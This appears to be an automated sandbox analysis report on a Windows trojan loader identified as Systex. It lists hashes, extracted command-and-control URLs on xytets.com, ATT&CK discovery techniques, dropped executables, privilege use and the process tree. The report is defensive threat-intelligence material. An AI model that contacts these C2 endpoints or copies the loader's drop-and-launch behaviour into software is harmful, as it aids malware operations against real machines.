systex | 32fe31b5687dec6bcb924f2db10a716894f26f61f88f2959b978ce3e0e8feb8d

Analysis

max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260820-snnzpseb62
SHA256 32fe31b5687dec6bcb924f2db10a716894f26f61f88f2959b978ce3e0e8feb8d
MD5 7751f29d885c36e119e1e421cd6fc3d7
SHA1 3bee49232a1ca763f85cc5edeea3caa20f1e1e83
SHA512 14875ce33b62eff296bedf72969b917b32f70501a916c05c567e204458b0c473d5f1608695b9d978c571f2eb97aa33bb241ceb3aab5f7d2c20e596a8629c9b49
SSDEEP 3072:JFLICbv4aaM/4y4tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:JFL1JeIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12D847C00BA94F0F6D995043800EBAF36967EB4281726CBC7F354CE5DAA513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3268	jdbvtolgeywqoige.exe
4876	jdbvtolgeywqoige.sys
4620	CreateProcess.exe
5548	omjdbwtomg.exe
1184	CreateProcess.exe
5004	CreateProcess.exe
3456	i_omjdbwtomg.exe
3180	tqoigbytql.sys
4364	CreateProcess.exe
5828	qoigaysqid.exe
2212	CreateProcess.exe
4788	CreateProcess.exe
5604	i_qoigaysqid.exe
4352	avsqlidbvt.sys
4572	CreateProcess.exe
5500	qnlidavsnl.exe
5760	CreateProcess.exe
4332	CreateProcess.exe
2332	i_qnlidavsnl.exe
200	spnifaysqk.sys
3868	CreateProcess.exe
4816	nkicxsqkif.exe
5028	CreateProcess.exe
2492	CreateProcess.exe
3636	i_nkicxsqkif.exe
5504	snkfdxusmk.sys
3052	CreateProcess.exe
4404	nhfcauspnk.exe
5076	CreateProcess.exe
488	CreateProcess.exe
1860	i_nhfcauspnk.exe
5800	hfcausmkec.sys
4264	CreateProcess.exe
3220	khcxupmhec.exe
5060	CreateProcess.exe
1460	CreateProcess.exe
3064	i_khcxupmhec.exe
3544	zurmkecwuo.sys
2892	CreateProcess.exe
5244	wurmjhbzur.exe
5380	CreateProcess.exe
1468	CreateProcess.exe
5980	i_wurmjhbzur.exe
5412	bzwurmkebz.sys
2152	CreateProcess.exe
856	wtrmjebwto.exe
2568	CreateProcess.exe
1132	CreateProcess.exe
3240	i_wtrmjebwto.exe
5588	ebztrljebw.sys
5176	CreateProcess.exe
3684	ywtojgbztr.exe
5744	CreateProcess.exe
1724	CreateProcess.exe
3592	i_ywtojgbztr.exe
3876	jdbvtnljgb.sys
3636	CreateProcess.exe
1396	trlidbvtnl.exe
984	CreateProcess.exe
1552	CreateProcess.exe
3880	i_trlidbvtnl.exe
3432	qligayvtnl.sys
1904	CreateProcess.exe
3480	qlidbvtnlf.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_599165097\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_599165097\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_473401279\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_1939952185\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_1939952185\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_183356589\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_473401279\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_1939952185\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3280_1939952185\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqkicavsnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nkicxsqkif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfcauspnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtrmjebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtrmjebwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnhfaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqligbytn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnlidavsnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdayvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjdbwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaysqid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcxupmhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywtojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywtojgbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidbvtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nkicxsqkif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfcauspnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcxupmhec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnhfzxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqligbytn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdayvqoig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgeywqoige.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjdbwtomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnhfaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eczuomkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbztrljdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqkicavsnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaysqid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnlidavsnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wurmjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wurmjhbzur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eczuomkecw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omjecwuomg.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3184	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3740	ipconfig.exe
4204	ipconfig.exe
4972	ipconfig.exe
760	ipconfig.exe
1872	ipconfig.exe
3740	ipconfig.exe
6064	ipconfig.exe
4980	ipconfig.exe
4544	ipconfig.exe
4220	ipconfig.exe
2640	ipconfig.exe
4452	ipconfig.exe
2928	ipconfig.exe
5448	ipconfig.exe
5780	ipconfig.exe
1552	ipconfig.exe
2640	ipconfig.exe
4660	ipconfig.exe
5784	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134317127325043513"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4046655672-1449839301-2197395821-1000\{07E80601-1F47-4C32-803C-08C9BF7AC452}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe
3268	jdbvtolgeywqoige.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3280	msedge.exe
3280	msedge.exe
3280	msedge.exe
3280	msedge.exe
3280	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3456	i_omjdbwtomg.exe
Token: SeDebugPrivilege	5604	i_qoigaysqid.exe
Token: SeDebugPrivilege	2332	i_qnlidavsnl.exe
Token: SeDebugPrivilege	3636	i_nkicxsqkif.exe
Token: SeDebugPrivilege	1860	i_nhfcauspnk.exe
Token: SeDebugPrivilege	3064	i_khcxupmhec.exe
Token: SeDebugPrivilege	5980	i_wurmjhbzur.exe
Token: SeDebugPrivilege	3240	i_wtrmjebwto.exe
Token: SeDebugPrivilege	3592	i_ywtojgbztr.exe
Token: SeDebugPrivilege	3880	i_trlidbvtnl.exe
Token: SeDebugPrivilege	5668	i_qlidbvtnlf.exe
Token: SeDebugPrivilege	5488	i_sqkicavsnh.exe
Token: SeDebugPrivilege	2740	i_dxvpnhfzxs.exe
Token: SeDebugPrivilege	2788	i_xvpnhfaxsp.exe
Token: SeDebugPrivilege	4192	i_eczuomkecw.exe
Token: SeDebugPrivilege	3532	i_omjecwuomg.exe
Token: SeDebugPrivilege	2944	i_jgbztrljdb.exe
Token: SeDebugPrivilege	5040	i_ywqligbytn.exe
Token: SeDebugPrivilege	2760	i_ljdayvqoig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3280	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3324 wrote to memory of 3268	3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 3324 wrote to memory of 5024	3324	2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 5024 wrote to memory of 3280	5024	iexplore.exe	91
PID 3280 wrote to memory of 2428	3280	msedge.exe	92
PID 3280 wrote to memory of 5956	3280	msedge.exe	94
PID 3280 wrote to memory of 3184	3280	msedge.exe	95
PID 3280 wrote to memory of 5956	3280	msedge.exe	94
PID 3280 wrote to memory of 5956	3280	msedge.exe	94
PID 3280 wrote to memory of 3396	3280	msedge.exe	96
PID 3280 wrote to memory of 3396	3280	msedge.exe	96
PID 3280 wrote to memory of 5880	3280	msedge.exe	97
PID 3280 wrote to memory of 5880	3280	msedge.exe	97
PID 3280 wrote to memory of 5880	3280	msedge.exe	97
PID 3280 wrote to memory of 756	3280	msedge.exe	98
PID 3280 wrote to memory of 756	3280	msedge.exe	98
PID 3280 wrote to memory of 756	3280	msedge.exe	98
PID 3280 wrote to memory of 4496	3280	msedge.exe	99
PID 3280 wrote to memory of 1496	3280	msedge.exe	100
PID 3280 wrote to memory of 4496	3280	msedge.exe	99
PID 3280 wrote to memory of 4496	3280	msedge.exe	99
PID 3280 wrote to memory of 1496	3280	msedge.exe	100
PID 3280 wrote to memory of 1496	3280	msedge.exe	100
PID 3280 wrote to memory of 5836	3280	msedge.exe	101
PID 3280 wrote to memory of 5836	3280	msedge.exe	101
PID 3280 wrote to memory of 4360	3280	msedge.exe	105
PID 3280 wrote to memory of 1336	3280	msedge.exe	106
PID 3280 wrote to memory of 4360	3280	msedge.exe	105
PID 3280 wrote to memory of 1336	3280	msedge.exe	106
PID 3268 wrote to memory of 4620	3268	jdbvtolgeywqoige.exe	108
PID 3280 wrote to memory of 856	3280	msedge.exe	110
PID 5548 wrote to memory of 1184	5548	omjdbwtomg.exe	112
PID 3280 wrote to memory of 4156	3280	msedge.exe	115
PID 3280 wrote to memory of 4156	3280	msedge.exe	115
PID 3280 wrote to memory of 4580	3280	msedge.exe	118
PID 3280 wrote to memory of 4580	3280	msedge.exe	118
PID 3268 wrote to memory of 5004	3268	jdbvtolgeywqoige.exe	119
PID 3268 wrote to memory of 4364	3268	jdbvtolgeywqoige.exe	123
PID 5828 wrote to memory of 2212	5828	qoigaysqid.exe	125
PID 3268 wrote to memory of 4788	3268	jdbvtolgeywqoige.exe	128
PID 3268 wrote to memory of 4572	3268	jdbvtolgeywqoige.exe	132
PID 5500 wrote to memory of 5760	5500	qnlidavsnl.exe	134
PID 3268 wrote to memory of 4332	3268	jdbvtolgeywqoige.exe	137
PID 3268 wrote to memory of 3868	3268	jdbvtolgeywqoige.exe	142
PID 4816 wrote to memory of 5028	4816	nkicxsqkif.exe	144
PID 3268 wrote to memory of 2492	3268	jdbvtolgeywqoige.exe	147
PID 3280 wrote to memory of 3644	3280	msedge.exe	149
PID 3280 wrote to memory of 4864	3280	msedge.exe	150
PID 3280 wrote to memory of 4908	3280	msedge.exe	151
PID 3268 wrote to memory of 3052	3268	jdbvtolgeywqoige.exe	154
PID 4404 wrote to memory of 5076	4404	nhfcauspnk.exe	156
PID 3268 wrote to memory of 488	3268	jdbvtolgeywqoige.exe	159
PID 3268 wrote to memory of 4264	3268	jdbvtolgeywqoige.exe	163
PID 3220 wrote to memory of 5060	3220	khcxupmhec.exe	165
PID 3268 wrote to memory of 1460	3268	jdbvtolgeywqoige.exe	168
PID 3268 wrote to memory of 2892	3268	jdbvtolgeywqoige.exe	172
PID 5244 wrote to memory of 5380	5244	wurmjhbzur.exe	174
PID 3268 wrote to memory of 1468	3268	jdbvtolgeywqoige.exe	177
PID 3268 wrote to memory of 2152	3268	jdbvtolgeywqoige.exe	181
PID 856 wrote to memory of 2568	856	wtrmjebwto.exe	183
PID 3268 wrote to memory of 1132	3268	jdbvtolgeywqoige.exe	186
PID 3280 wrote to memory of 6012	3280	msedge.exe	188
PID 3280 wrote to memory of 6012	3280	msedge.exe	188
PID 3268 wrote to memory of 5176	3268	jdbvtolgeywqoige.exe	194
PID 3684 wrote to memory of 5744	3684	ywtojgbztr.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-20_7751f29d885c36e119e1e421cd6fc3d7_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Temp\jdbvtolgeywqoige.exe
  C:\Temp\jdbvtolgeywqoige.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjdbwtomg.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4620
  - - C:\Temp\omjdbwtomg.exe
      C:\Temp\omjdbwtomg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5548
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1184
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjdbwtomg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5004
  - - C:\Temp\i_omjdbwtomg.exe
      C:\Temp\i_omjdbwtomg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigaysqid.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4364
  - - C:\Temp\qoigaysqid.exe
      C:\Temp\qoigaysqid.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5828
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2212
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1872
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigaysqid.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4788
  - - C:\Temp\i_qoigaysqid.exe
      C:\Temp\i_qoigaysqid.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qnlidavsnl.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4572
  - - C:\Temp\qnlidavsnl.exe
      C:\Temp\qnlidavsnl.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5500
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5760
